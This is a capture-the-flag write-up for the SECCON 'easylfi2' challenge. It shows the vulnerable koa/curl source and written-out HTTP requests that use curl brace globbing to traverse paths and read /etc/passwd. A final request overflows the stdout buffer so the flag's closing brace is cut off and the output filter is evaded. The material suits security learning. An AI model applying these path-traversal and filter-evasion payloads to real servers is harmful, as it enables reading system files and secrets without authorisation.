The Ark Challenge - easylfi2

We're given the following files.

├── docker-compose.yml
└── web
    ├── Dockerfile
    ├── flag.txt
    ├── index.js
    ├── package-lock.json
    ├── package.json
    └── public
        ├── hello.html
        └── index.html

3 directories, 8 files

This challenge is a sequel to easylfi, so I suggest reading that first. Anyway, we can see the set up is similar.

FROM node:19.6.0-slim
ENV NODE_ENV=production
WORKDIR /app

RUN apt update && apt install -y curl

COPY ["package.json", "package-lock.json", "./"]
RUN npm install --omit=dev
COPY . .
RUN mv flag.txt /flag.txt

USER 404:404

CMD ["node", "index.js"]

However, there's a few differences. The following excerpt shows index.js.

const app = new (require("koa"))();
const execFile = require("util").promisify(require("child_process").execFile);

const PORT = process.env.PORT ?? "3000";

// WAF
app.use(async (ctx, next) => {
  await next();
  if (JSON.stringify(ctx.body).match(/SECCON{\w+}/)) {
    ctx.body = "🤔";
  }
});

app.use(async (ctx) => {
  const path = decodeURI(ctx.path.slice(1)) || "index.html";
  try {
    const proc = await execFile(
      "curl",
      [`file://${process.cwd()}/public/${path}`],
      { timeout: 1000 }
    );
    ctx.type = "text/html; charset=utf-8";
    ctx.body = proc.stdout;
  } catch (err) {
    ctx.body = err;
  }
});

app.listen(PORT);

The most notable differences are:

  1. The templating functionality is gone.
  2. The app now runs on NodeJS/koa.
  3. The WAF now checks for the /SECCON{\w+}/ Regex pattern instead of just a SECCON string.

This means that our previous trick to get rid of SECCON won't work, and that the URL parsing might be slightly different. To check the new URL parsing, I recreated the /etc/passwd read from the previous writeup.

Request

GET /%7b%5c.%5c./%5c.%5c./etc/passwd%7d HTTP/1.1
Host: localhost:3000

Reponse

HTTP/1.1 200 OK
...snip...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...snip...

Luckily it seems to function largely the same, but I did notice a difference when trying to read a file that didn't exist.

Request

GET /%7b%5c.%5c./%5c.%5c./AAAA%7d HTTP/1.1
Host: localhost:3000

Response

HTTP/1.1 200 OK
...snip...
{
    "code":37,
    "killed":false,
    "signal":null,
    "cmd":"curl file:///app/public/{\\.\\./\\.\\./AAAA}",
    "stdout":"",
    "stderr":"curl: (37) Couldn't open file /AAAA\n"
}

Interesting! In this version of the challenge errors are returned (recall in the last challenge it would just return "Something went wrong"). I wasn't immediately sure how this would be useful, so I moved onto testing some random ideas in the hope that useful behaviour would show itself. One of those ideas was reading a binary file and seeing if that might lead to weird changes in other bytes in the stdout. Instead, I ran into the following error.

Request

GET /%7b%5c.%5c./%5c.%5c./bin/bash%7d HTTP/1.1
Host: localhost:3000

Response

HTTP/1.1 200 OK
Content-Length: 2320251
...snip...
{ 
    "code":"ERR_CHILD_PROCESS_STDIO_MAXBUFFER",
    "cmd":"curl file:///app/public/{\\.\\./\\.\\./bin/bash}",
    "stdout":"ELF[...snip...]\u0000\u0000H�G\bI��H�",
    "stderr":"  % Total    % Received % Xferd  Average Speed [...snip...] --:--:-- --:--:-- --:--:--     0"
}

Notice that it tried to print the content of /bin/bash but couldn't print all of it? I quickly had the idea that we could use this behaviour to remove the last } character from the flag when reading /flag.txt. We can do this by:

  1. Reading files to fill the stdio buffer up to max stdio buffer - length of the flag + 1.
  2. Reading the flag.

If this idea works, it would print the flag up to the last } character and then hit the ERR_CHILD_PROCESS_STDIO_MAXBUFFER error. This should prevent us from matching the /SECCON{\w+}/ pattern. Through some trial and error, I was able to do this using the following request.

Request

GET /%7b%5c.%5c./%5c.%5c./bin/touch,%5c.%5c./%5c.%5c./bin/touch,%5c.%5c./%5c.%5c./bin/touch,%5c.%5c./%5c.%5c./bin/touch,%5c.%5c./%5c.%5c./bin/touch,%5c.%5c./%5c.%5c./bin/touch,%5c.%5c./%5c.%5c./bin/cat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./usr/bin/debconf-communicate,%5c.%5c./%5c.%5c./usr/bin/debconf-communicate,%5c.%5c./%5c.%5c./usr/bin/debconf-communicate,%5c.%5c./%5c.%5c./etc/passwd,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c.,%5c.%5c./%5c.%5c./flag.txt%7d?.json HTTP/1.1
Host: localhost:3000

Response

HTTP/1.1 200 OK
Content-Length: 2414264
...snip...
{
    "code":"ERR_CHILD_PROCESS_STDIO_MAXBUFFER",
    "cmd":"curl file:///app/public/{\\.\\./\\.\\./bin/touch,\\.\\./\\.\\./bin/touch,\\.\\./\\.\\./bin/touch,\\.\\./\\.\\./bin/touch,\\.\\./\\.\\./bin/touch,\\.\\./\\.\\./bin/touch,\\.\\./\\.\\./bin/cat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./usr/bin/debconf-communicate,\\.\\./\\.\\./usr/bin/debconf-communicate,\\.\\./\\.\\./usr/bin/debconf-communicate,\\.\\./\\.\\./etc/passwd,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\.,\\.\\./\\.\\./flag.txt}",
    "stdout":"--_curl_--file:///app/public/../../bin/touch\nELF[...snip...]--_curl_--file:///app/public/../../flag.txt\nSECCON{dummydummy",
    "stderr":"\n[1/43]: file:///app/public/../../bin/touch[...snip...]"
}

Nice! You can see in the stdout field of the response that we got the flag by successfully cutting the } off the end.